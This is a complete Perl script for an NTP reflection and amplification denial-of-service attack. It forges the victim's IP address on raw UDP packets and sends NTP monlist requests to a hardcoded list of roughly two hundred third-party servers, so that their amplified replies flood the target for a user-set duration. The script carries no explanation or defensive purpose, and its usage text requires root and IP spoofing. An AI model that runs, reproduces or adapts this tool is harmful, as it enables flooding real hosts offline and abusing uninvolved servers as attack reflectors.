use Socket;
use warnings;
use strict 'refs';
goto normal;
normal: my(@servers) = ('54.254.17.239', '65.49.70.244', '134.121.64.220', '5.9.156.53', '72.8.140.240', '173.49.198.27', '50.97.210.169', '178.63.212.146', '77.109.139.83', '38.229.71.1', '80.89.32.122', '81.27.192.20', '209.167.68.100', '158.37.91.134', '5.200.6.34', '192.75.12.11', '130.60.204.10', '46.19.35.137', '119.2.43.214', '194.238.48.2', '67.212.94.227', '75.157.237.26', '18.85.44.118', '202.191.108.71', '95.158.95.123', '195.234.155.124', '206.186.121.125', '92.240.244.9', '164.138.26.37', '194.238.48.2', '69.164.217.193', '176.31.97.39', '178.23.121.164', '85.234.197.2', '92.240.244.8', '69.36.227.90', '103.6.16.254', '54.254.17.239', '202.154.57.6', '62.76.96.4', '46.40.123.212', '213.136.0.252', '213.239.154.12', '85.12.35.12', '46.19.35.158', '185.14.184.13', '94.228.143.152', '5.200.6.34', '85.255.214.66', '82.94.245.2', '24.124.0.251', '158.255.213.198', '72.8.140.200', '50.22.155.163', '198.60.22.240', '209.167.68.100', '206.186.121.118', '206.186.121.125', '66.102.79.92', '67.212.94.227', '27.54.95.12', '116.66.162.4', '202.191.108.72', '116.66.160.39', '203.82.209.217', '202.191.108.71', '91.206.237.2', '213.129.242.81', '80.110.34.54', '83.137.41.12', '213.129.242.82', '91.206.237.11', '91.206.237.2', '213.129.242.81', '80.110.34.54', '83.137.41.12', '213.129.242.82', '91.206.237.11', '77.109.139.83', '212.101.3.211', '46.235.147.2', '46.235.147.2', '212.101.4.253', '94.23.99.154', '193.5.60.9', '192.33.96.102', '212.101.0.10', '81.94.123.16', '178.209.53.202', '212.227.158.163', '80.190.147.93', '129.70.132.36', '83.137.98.96', '129.70.132.33', '87.60.174.133', '78.156.103.10', '83.151.158.44', '87.48.12.24', '77.226.252.14', '138.100.11.74', '78.156.103.10', '193.55.167.1', '88.190.27.159', '194.57.169.1', '88.190.13.64', '5.135.166.37', '88.190.19.201', '193.55.167.2', '212.45.144.3', '212.45.144.16', '212.45.144.206', '2.228.72.62', '77.242.176.254', '2.229.10.127', '46.29.177.18', '80.92.86.19', '80.92.86.18', '46.29.182.242', '46.29.177.23', '46.19.33.2', '83.98.201.133', '213.154.229.24', '94.210.163.219', '83.243.224.75', '139.112.153.36', '212.33.77.42', '194.29.130.252', '193.110.137.171', '95.158.95.123', '130.236.254.17', '94.245.35.13', '77.53.215.201', '130.236.254.102', '83.177.160.188', '194.249.198.30', '89.142.194.101', '89.212.6.198', '193.77.237.128', '93.103.22.152', '82.113.154.206', '178.17.41.184', '194.238.48.3', '176.74.25.227', '194.100.2.194', '194.100.2.198', '62.237.86.234', '80.69.163.42', '80.69.172.80', '193.1.31.66', '193.1.219.116', '89.179.243.205', '37.235.209.151', '62.76.96.4', '81.95.131.130', '213.79.83.1', '91.207.136.55', '91.207.136.50', '85.234.197.2', '85.234.197.1', '46.28.43.66', '85.234.197.3', '85.158.108.151', '81.82.206.223', '85.234.197.4', '213.189.188.3', '193.136.164.1', '83.212.108.67', '194.177.210.54', '83.212.108.66', '193.93.167.241', '87.121.27.202', '195.69.120.36', '77.70.71.140', '193.104.79.174', '46.10.211.188', '81.27.192.20', '91.216.168.42', '147.251.48.140', '195.113.159.1', '195.140.254.217', '81.27.195.164', '193.85.174.5', '193.40.133.142', '46.22.209.123', '193.40.0.5', '91.233.248.40', '92.240.244.8', '92.245.0.16', '91.233.248.41', '84.245.64.190', '193.87.160.18', '94.158.46.150', '79.142.192.130', '91.215.59.10', '79.142.192.4', '83.143.234.241', '92.249.120.2', '195.191.13.80', '193.27.209.211', '193.219.61.110', '193.219.61.110', '212.59.0.1', '212.59.0.2', '193.219.61.120', '193.226.65.36', '80.81.32.231', '194.8.5.86', '161.53.128.17', '161.53.131.81', '195.178.58.245', '195.250.114.105', '195.43.74.123', '193.4.58.44', '91.238.144.13', '78.111.50.53', '78.111.50.50', '78.111.63.253', '94.158.46.150', '130.149.17.8', '131.188.3.222');
my $time = $ARGV[2];
my $target = $ARGV[0];
my $udp_src_port = $ARGV[1];
if (not defined $target or not defined $udp_src_port or not defined $time) {
    print "Usage: perl $0 <target> <port> <time>\nMust be root and be able to spoof to use!\n";
    exit 0;
}
if ($time > 999999999999) {
    print "Don't abuse my shit, bitch. Flood needs to be >60\n";
    exit 0;
}
alarm "$time";
print "Attack Starting on $target\n";
repeat: my $ip_dst = (gethostbyname $servers[int rand @servers])[4];
my $ip_src = (gethostbyname $target)[4];
die $! unless socket RAW, AF_INET(), SOCK_RAW(), 255;
setsockopt RAW, 0, 1, 1;
main();
sub main {
    use warnings;
    use strict 'refs';
    my $packet;
    $packet = ip_header();
    $packet .= udp_header();
    $packet .= payload();
    goto repeat if send_packet($packet);
}
sub ip_header {
    use warnings;
    use strict 'refs';
    my $ip_ver = 4;
    my $ip_header_len = 5;
    my $ip_tos = 0;
    my $ip_total_len = $ip_header_len + 20;
    my $ip_frag_id = 0;
    my $ip_frag_flag = '010';
    my $ip_frag_offset = '0000000000000';
    my $ip_ttl = 255;
    my $ip_proto = 17;
    my $ip_checksum = 0;
    my $ip_header = pack('H2 H2 n n B16 h2 c n a4 a4', $ip_ver . $ip_header_len, $ip_tos, $ip_total_len, $ip_frag_id, $ip_frag_flag . $ip_frag_offset, $ip_ttl, $ip_proto, $ip_checksum, $ip_src, $ip_dst);
    return $ip_header;
}
sub udp_header {
    use warnings;
    use strict 'refs';
    my $udp_dst_port = 123;
    my $udp_len = 8 + length(payload());
    my $udp_checksum = 0;
    my $udp_header = pack('n n n n', $udp_src_port, $udp_dst_port, $udp_len, $udp_checksum);
    return $udp_header;
}
sub payload {
    use warnings;
    use strict 'refs';
    my $data = "\cW\000\cC*" . "\000" x 4;
    my $payload = pack('a' . length($data), $data);
    return $payload;
}
sub send_packet {
    use warnings;
    use strict 'refs';
    send RAW, $_[0], 0, pack('Sna4x8', AF_INET(), 60, $ip_dst);
}